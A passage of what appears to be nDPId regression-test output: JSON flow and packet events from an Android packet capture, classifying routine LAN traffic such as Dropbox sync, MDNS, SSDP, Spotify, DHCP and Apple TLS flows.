NwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"android.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454823029,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01083{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454823,"pkt_ts_usec":29099,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIavtMAAEARM6\/AqAIBwKgC\/0RcRFwCBr34eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAzMzA0MDI2MjQwMTMxNjcxMTI3MTc3MTQ1ODMyOTcxNTM2ODg0ODIsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODEwNTkxNzYwLCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAyODUyMTYwNywgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgOTk0Njk3NzMsIDcwNzk2MzY2ODgsIDE3Njk2NDMwNywgMTI1NTQwNTY2LCAxMDQ3NDI4MTg5LCA0NzE2MTkwMDQ4LCA1NDY3MTYzMDg4LCAxMTk1MDQ0MDcxLCA5Njg1MzIyNCwgMTc2MDk5NjMsIDY0NzgzMDM0NDAsIDUxMTcwNjY0MiwgNjI5Nzk1NTE4NCwgMTQxNTYyMDM1MF19"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"android.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454823029,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"android.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454823,"pkt_ts_usec":653040,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD72DBiVgAcCABFAABJmVsAAP8RtXWp\/uHY4AAA+xTpFOkANUGgAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"android.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"android.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454823,"pkt_ts_usec":653165,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7xiwDYGpkCABFAABJ7RwAAAERKOPAqAIB4AAA+xTpFOkANQrOAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00552{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"android.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"android.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454825628,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00569{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454825,"pkt_ts_usec":628962,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/62DBiVgAcCABFAACa4oMAAP8RXP2p\/uHY7\/\/\/+ux6B2wAhmGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"android.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454825628,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"android.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1582454825629,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00568{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454825,"pkt_ts_usec":629044,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6xiwDYGpkCABFAACaWhcAAAERrJjAqAIB7\/\/\/+sjTB2wAhk51TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"android.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1582454825629,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"android.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1582454826369,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454826,"pkt_ts_usec":369837,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABItCAAAEARQDTAqAIBwKgC\/+EV4RUANNgcU3BvdFVkcDDcFXQoLlJiTAABAARIlcIDokHeIIm5eNggVkvVDJHA6KPmCng="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"android.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1582454826369,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00808{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454827,"pkt_ts_usec":440179,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDsAAP8RQmoAAAAA\/\/\/\/\/wBEAEMBNI0bAQEGAHhURwsAKwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1582454825629,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":51411,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1582454823029,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1582454825628,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"239.255.255.250","src_port":60538,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1582454823653,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1582454826369,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454835,"pkt_ts_usec":472764,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeDwAAP8RQmkAAAAA\/\/\/\/\/wBEAEMBNI0TAQEGAHhURwsAMwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454839,"pkt_ts_usec":884181,"pkt_caplen":113,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"TGr2n\/Yn2DBiVgAciI4CAwBfAgCKABAAAAAAAAAAAIz8BFqJChwkZ1iJYPgAYGUrS4o4DJHL\/S\/E6LdOr1skAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":53,"source":"android.pcap","alias":"nDPId-test","type":34958} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454839,"pkt_ts_usec":890005,"pkt_caplen":135,"pkt_type":34958,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"2DBiVgAcTGr2n\/YniI4BAwB1AgEKAAAAAAAAAAAAABuBPQRawmcmCJuMCTTl787Fbc92e9r2cPO8HkAbqnp8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACI+Bbd0vg6TUoOiFATr40\/ABYwFAEAAA+sBAEAAA+sBAEAAA+sAgAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":54,"source":"android.pcap","alias":"nDPId-test","type":34958} +00809{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454844,"pkt_ts_usec":193681,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeD0AAP8RQmgAAAAA\/\/\/\/\/wBEAEMBNI0KAQEGAHhURwsAPAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"android.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1582454853081,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01083{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454853,"pkt_ts_usec":81631,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAIaAQwAAEAR8XbAqAIBwKgC\/0RcRFwCBr34eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAzMzA0MDI2MjQwMTMxNjcxMTI3MTc3MTQ1ODMyOTcxNTM2ODg0ODIsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODEwNTkxNzYwLCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAyODUyMTYwNywgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgOTk0Njk3NzMsIDcwNzk2MzY2ODgsIDE3Njk2NDMwNywgMTI1NTQwNTY2LCAxMDQ3NDI4MTg5LCA0NzE2MTkwMDQ4LCA1NDY3MTYzMDg4LCAxMTk1MDQ0MDcxLCA5Njg1MzIyNCwgMTc2MDk5NjMsIDY0NzgzMDM0NDAsIDUxMTcwNjY0MiwgNjI5Nzk1NTE4NCwgMTQxNTYyMDM1MF19"} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"android.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1582454853081,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"android.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1582454856384,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454856,"pkt_ts_usec":384360,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABIA+oAAEAR8GrAqAIBwKgC\/+EV4RUANNgcU3BvdFVkcDDcFXQoLlJiTAABAARIlcIDokHeIIm5eNggVkvVDJHA6KPmCng="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"android.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1582454856384,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":8,"flow_first_seen":1582454780612,"flow_last_seen":1582454799515,"flow_tot_l4_data_len":795,"flow_min_l4_data_len":63,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50580,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":8,"flow_first_seen":1582454780612,"flow_last_seen":1582454799515,"flow_tot_l4_data_len":795,"flow_min_l4_data_len":63,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50580,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":8,"flow_first_seen":1582454779631,"flow_last_seen":1582454799004,"flow_tot_l4_data_len":795,"flow_min_l4_data_len":63,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50584,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":8,"flow_first_seen":1582454779631,"flow_last_seen":1582454799004,"flow_tot_l4_data_len":795,"flow_min_l4_data_len":63,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":99,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.176.75","dst_ip":"192.168.2.17","src_port":443,"dst_port":50584,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1582454787658,"flow_last_seen":1582454801077,"flow_tot_l4_data_len":410,"flow_min_l4_data_len":32,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":58,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.185.10","dst_ip":"192.168.2.17","src_port":443,"dst_port":50702,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00486{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1582454787658,"flow_last_seen":1582454801077,"flow_tot_l4_data_len":410,"flow_min_l4_data_len":32,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":58,"midstream":1,"l3_proto":"ip4","src_ip":"17.248.185.10","dst_ip":"192.168.2.17","src_port":443,"dst_port":50702,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":60,"source":"android.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1582454853081,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 